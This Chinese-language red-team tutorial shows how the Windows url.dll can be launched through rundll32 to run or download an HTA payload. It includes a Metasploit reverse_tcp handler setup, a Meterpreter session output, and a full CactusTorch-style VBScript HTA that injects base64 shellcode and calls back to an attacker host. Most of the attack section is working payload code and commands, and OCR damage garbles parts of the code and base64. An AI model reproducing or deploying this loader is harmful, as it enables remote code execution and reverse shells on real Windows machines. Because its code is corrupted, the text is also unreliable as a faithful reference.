专注APT攻击与防御

https://micropoor.blogspot.com/

注:请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Url.dll简介:

url.dll是Internet快捷壳扩展相关应用程序接口系统文件。

说明:url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。

Windows 2003 默认位置:

```
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
```

Windows 7 默认位置:

```
C:\Windows\System32\url.dll
C:\Windows\SvsWOW64\url.dll
```

攻击机: 192.168.1.4 Debian **靶机**: 192.168.1.3 Windows 7

配置攻击机msf:

```
12
    EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
ss, none)
    LHOST 192.168.1.4 yes The listen address (an interface may be specifi
14
ed)
    LPORT 53 yes The listen port
15
16
17
   Exploit target:
19
20
   Id Name
21
22
    Ø Wildcard Target
23
24
  msf exploit(multi/handler) > exploit
25
26
   [*] Started reverse TCP handler on 192.168.1.4:53
27
28
```

```
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (windows/meterpreter/reverse_tcp):
   Name
              Current Setting Required Description
                                            Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
   EXITFUNC
              process
                                 yes
   LH0ST
              192.168.1.4
                                 yes
   LPORT
                                 yes
                                            The listen port
Exploit target:
   Id Name
   0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```

靶机执行:

```
rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop
\Micropoor_url_dll.hta
```

```
1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.4:53
4 [*] Sending stage (179779 bytes) to 192.168.1.3
5 [*] Meterpreter session 5 opened (192.168.1.4:53 -> 192.168.1.3:5018)
at 2019-01-21 04:41:43 -0500
6
7 meterpreter > getuid
8 Server username: John-PC\John
9 meterpreter > getpid
10 Current pid: 8584
11
```

```
C:\Users\John\Desktop>rundll32.exe url.dll,FileProtocolHandler file://C:\Users\J
ohn\Desktop\Micropoor_url_dll.hta
C:\Users\John\Deskton>
```

同样可以调用url.dll下载payload:

```
1 rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta
```

附录: Micropoor_url_dll.hta

```
1 <script language="VBScript">
2
  Dim binary : binary = "rundll32.exe"
4
5
6 Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH
PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffgl
fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJf\
GhMdyYHiej/OLiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ51BQUFBAUEBQaOoP3+D/12
dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmc
AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8N
JA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="
9 Sub Debug(s)
10 End Sub
11 Sub SetVersion
12 End Sub
```

```
13 Function Base64ToStream(b)
    Dim enc, length, ba, transform, ms
   Set enc = CreateObject("System.Text.ASCIIEncoding")
   length = enc.GetByteCount_2(b)
   Set transform = CreateObject("System.Security.Cryptography.FromBase64
17
Transform")
    Set ms = CreateObject("System.IO.MemoryStream")
    ms.Write transform.TransformFinalBlock(enc.GetBytes 4(b), 0, length),
0, ((length / 4) * 3)
   ms.Position = 0
20
21 Set Base64ToStream = ms
22 End Function
23
24 Sub Run
25 Dim s, entry_class
26 s = "AAEAAAD////AQAAAAAAAAAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0a
W9uSG9sZGVv"
27 s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVn\
XR1U2VyaWFsaXph"
28 s = s & "dGlvbkhvbGR1citEZWx1Z2F0ZUVudHJ5I1N5c3R1bS5EZWx1Z2F0ZVN1cm1ht
G16YXRpb25Ib2xk"
29 s = s & "ZXIvU31zdGVtL1J1Zmx1Y3Rpb24uTWVtYmVySW5mb1N1cm1hbG16YXRpb25It
2xkZXIJAgAAAAkD"
30 s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sz
GVyK0RlbGVnYXRl"
31 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3Nlt
WJse050YXJnZXRU"
32 s = s & "eXB1TmFtZQptZXRob2ROYW11DWR1bGVnYXR1RW50cnkBAQIBAQEDMFN5c3R1k
S5EZWx1Z2F0ZVN1"
33 s = s & "cmlhbG16YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5Sc
W50aW11L1J1bW90"
34 s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlc
nNpb249Mi4wLjAu"
35 s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX1Ub2tlbj1iNzdhNWM1NjE5N
zRlMDg5BgcAAAAH"
36 s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1p\
0ludm9rZOoEAwAA"
37 s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWx12
2F0Z0d0YXJnZX0w"
38 s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlc
itEZWx1Z2F0ZUVu"
39 s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvt
khvbGRlcgkLAAAA"
40 s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9T2
```

XJpYWxpemF0aW9u"

- 41 s = s & "SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0cXJlCk1lbWJlclR5"
- 42 s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU31zdGVtL1R5cGVbXQkKAAAA(QYAAAAJCQAAAAYR"
- 43 s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0V10pCAAAAAOBCwAA"
- 44 s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYT/AAATVN5c3RlbS5Y"
- 45 s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX1Ub2tlbj1iNzdh"
- 46 s = s & "NWM1NjE5MzR1MDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU31zdGVtL1J12mxlY3Rpb24uQXNz"

- 49 s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABM/OMAkNhXWOAAAAAA"

- 58 s = s & "MAOABWEAAAEAABEEKBAAAAOKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAOEgAA"
- 59 s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApy(QAAcAMoFAAAChME"
- 60 s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJg17BAAABBMFEgUoFgAACnJXAABwKBcA/AosbhEFFnMRAAAK"
- 61 s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK"
- 62 s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmknoCfhUAAAp9AgAA"
- 63 s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAJ+FQAACn0rAAAE/n4VAAAKfSwAAAQC"

- 64 s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP"
- 66 s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNH\\
 U1EAAAATBEAANwB"

- 69 s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYG/JUF4QYGAMkE4QYG"
- 70 s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIc QYGAFkHqQYGAL4I"
- 71 s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAQABAAEAEABtBgAAPQABAAEACgAQ&PgHAAA9AAEACAAK"
- 72 s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAAE gcAAD0AKgAJAAIB"
- 73 s = s & "AABtBAAASQA8AAOAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAG/HOIPwAGAOcDPwAG"
- 74 s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIA/wFWgFMCAwFWgPEB"
- 75 s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWg0EBAwFWgE0CAwFWgDECAwFW"
- 76 s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcB/wFWgKgAAwFWgDoD"
- 77 s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEG/KYD+gAGAO8DPwAG"
- 78 s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I"
- 79 s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFW& N4CDgFWg08ADgFW"
- 80 s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA"
- 81 s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAAgACW"
- 83 s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcG/CAAjCEAAAAAhhg+"
- 85 s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgA/AIAfQgAAAMAIQcA"
- 86 s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQA]
 OgAAAUAKAcAAAYA"

- 87 s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAx/D4HEAA5AD4HEABB"
- 88 s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HE gB5AD4HBgCZAFMG"
- 89 s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCx/C8JRgC5AAoGTAAJ"
- 90 s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAA1QAJAEQAggAJAEgA"
- 91 s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ"
- 92 s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwAE AAJAJAA4QAJAJQA"
- 93 s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJ/AQB4QAJAAgB9QAJ"
- 94 s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwB) wAJADABZAAJADQB"
- 95 s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEu/CsAhwEuADMAmAEu"
- 96 s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsArgGjAHMAWgDDAHMA"
- 97 s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJ/GMIAQAAAQsA1AMB"
- 99 s = s & "AgAHAAIACAACAAkAAgAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwl mVzZXJ2ZWQyADxN"
- 100 s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9K
 T0IARVhFQ1VURV9S"
- 101 s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRf RU5EAERVUExJQ0FU"
- 102 s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVB VEVfTkVXX0NPT1NP"
- 103 s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFU1ZFAENBQ1RVU1RP
 UkNIAFdSSVRFX1dB"
- 104 s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9D T0RFX0FVVEhaX0xF"
- 105 s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09X
 X1ZETQBQUk9DRVNT"
- 106 s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVX
 X1BST0NFU1NfR1JP"
- 107 s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENS RUFURV9GT1JDRURP"
- 108 s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNT
 AEhJR0hfUFJJT1JJ"
- 109 s = s & "VF1fQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05P
 Uk1BTF9QUk1PUk1U"

- 110 s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNI RURfUFJPQ0VTUwBD"
- 111 s = s & "UkVBVEVfUFJPVEVDVEVEX1BSTØNFU1MAREVCVUdfUFJPQØVTUwBERUJVR19P
 TkxZX1RISVNfUFJP"
- 112 s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX01HTk9SRV9TWVNURU1fREVGQVVM
 VABDUkVBVEVfVU5J"
- s = s & "Q09ERV9FT1ZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5U AENSRUFURV9OT19X"
- 114 s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRf
 UEFSRU5UX0FGRk10"
- 115 s = s & "SVRZAE10SEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1z
 Y29ybGliAGxwVGhy"
- 116 s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJ1
 YWQAaFRocmVhZABs"
- 117 s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxw
 SGFuZGxlAGJJbmh1"
- 118 s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBD
 b21tYW5kTGluZOBW"
- 119 s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVn
 Z2FibGVBdHRyaWJ1"
- $120 \quad s = s \quad \& \quad "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXR1AEFzc2VtYmx5VHJh"$
- 121 s = s & "ZGVtYXJrQXR0cmlidXR1AGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVW
 ZXJzaW9u0XR0cmli"
- 122 s = s & "dXR1AEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUR1
 c2NvaXB0aW9uOXR0"
- 123 s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNB
 dHRyaWJ1dGUAQXNz"
- 124 s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmli
 dXRlAEFzc2VtYmx5"
- 125 s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW11Q29tcGF0aWJpbG10eUF0dHJpYnV0ZQBkd1hTaXplAGR3"
- 126 s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZml1
 cmZsYWcATk9DQUNI"
- 127 s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9t
 QmFzZTY0U3RyaW5n"
- 128 s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJu
 ZWwzMi5kbGwAO0FD"
- 129 s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0
 ZW4AbHBQcm9jZXNz"
- 130 s = s & "SW5mb3JtYXRpb24AU31zdGVtL1J1Zmx1Y3Rpb24ATWVtb3J5UHJvdGVjdG1v
 bgBscFN0YXJ0dXBJ"
- 131 s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJy
 b3IALmN0b3IAbHBT"
- 132 s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBT eXN0ZW0uUnVudGlt"

- 133 s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2
 aWNlcwBEZWJ1Z2dp"
- 134 s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxw
 UHJvY2Vzc0F0dHJp"
- 135 s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVh
 dGVQcm9jZXNzRmxh"
- 136 s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZ
 Q291bnRDaGFycwBU"
- 137 s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRy
 ZXNzAGxwU3RhcnRB"
- 138 s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQA
 Q29udmVydABoU3Rk"
- 139 s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABi
 aW5hcnkAV3JpdGVQ"
- 140 s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBv
 cF9JbmVxdWFsaXR5"
- 141 s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQBy AAAVXABTAHkAcwBX"
- 142 s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLq xE+aSSAzLsphXgAE"
- 143 s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUO BAABDg4DIAAIBgAD"
- 144 s = s & "Dg40DgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAA AAOIAAAABBAAAAAE"
- 146 s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAA AAgEAAAAEAQAAAAg"
- 147 s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESAD BhEkEwAKGA40EgwS"
- 148 s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB"
- 149 s = s & "AAgAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAA AAAQAQALQ0FDVFVT"
- 150 s = s & "VE9SQ0gAAAUBAAAAAUBAAEAACkBACQ1NjU50GYxYy02ZDg4LTQ50TQtYTM5
 Mi1hZjMzN2FiZTU3"

- s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAACwBJQCAAABAFMAdABy AGkAbgBnAEYAaQBs"
- 160 s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAAOAGIAMAAAADAADAABAEMA bwBtaGOAZQBuAHQA"
- 161 s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBu AHkATgBhAG0AZQAA"
- 163 s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAA ADEALgAwAC4AMAAu"
- 164 s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQA VQBTAFQATwBSAEMA"
- 165 s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0 AAAAOwBBAEMAVABV"
- 166 s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrahmaaaaaaaaa"
- 167 s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBB
- 168 s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUA AAAAAEMAOOBDAFOA"
- 169 s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBp AG8AbgAAADEALgAw"
- 170 s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA"

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ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ"
AAAAAAAAAAAAAA"
AAAAAAAAAAAAAA"
182 s = s & "AAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0
ZW0uUmVmbGVjdGlv"
183 s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
184 entry_class = "cactusTorch"
185
186 Dim fmt, al, d, o
187 Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binar
y.BinaryFormatter")
188 Set al = CreateObject("System.Collections.ArrayList")
189 al.Add fmt.SurrogateSelector
190
191 Set d = fmt.Deserialize_2(Base64ToStream(s))
192 Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
193 o.flame binary, code
194 End Sub
195
196 SetVersion
197 On Error Resume Next
198 Run
199 If Err.Number <> 0 Then
200 Debug Err.Description
201 Err.Clear
202 End If
203
204 self.close
205 </script>
206
```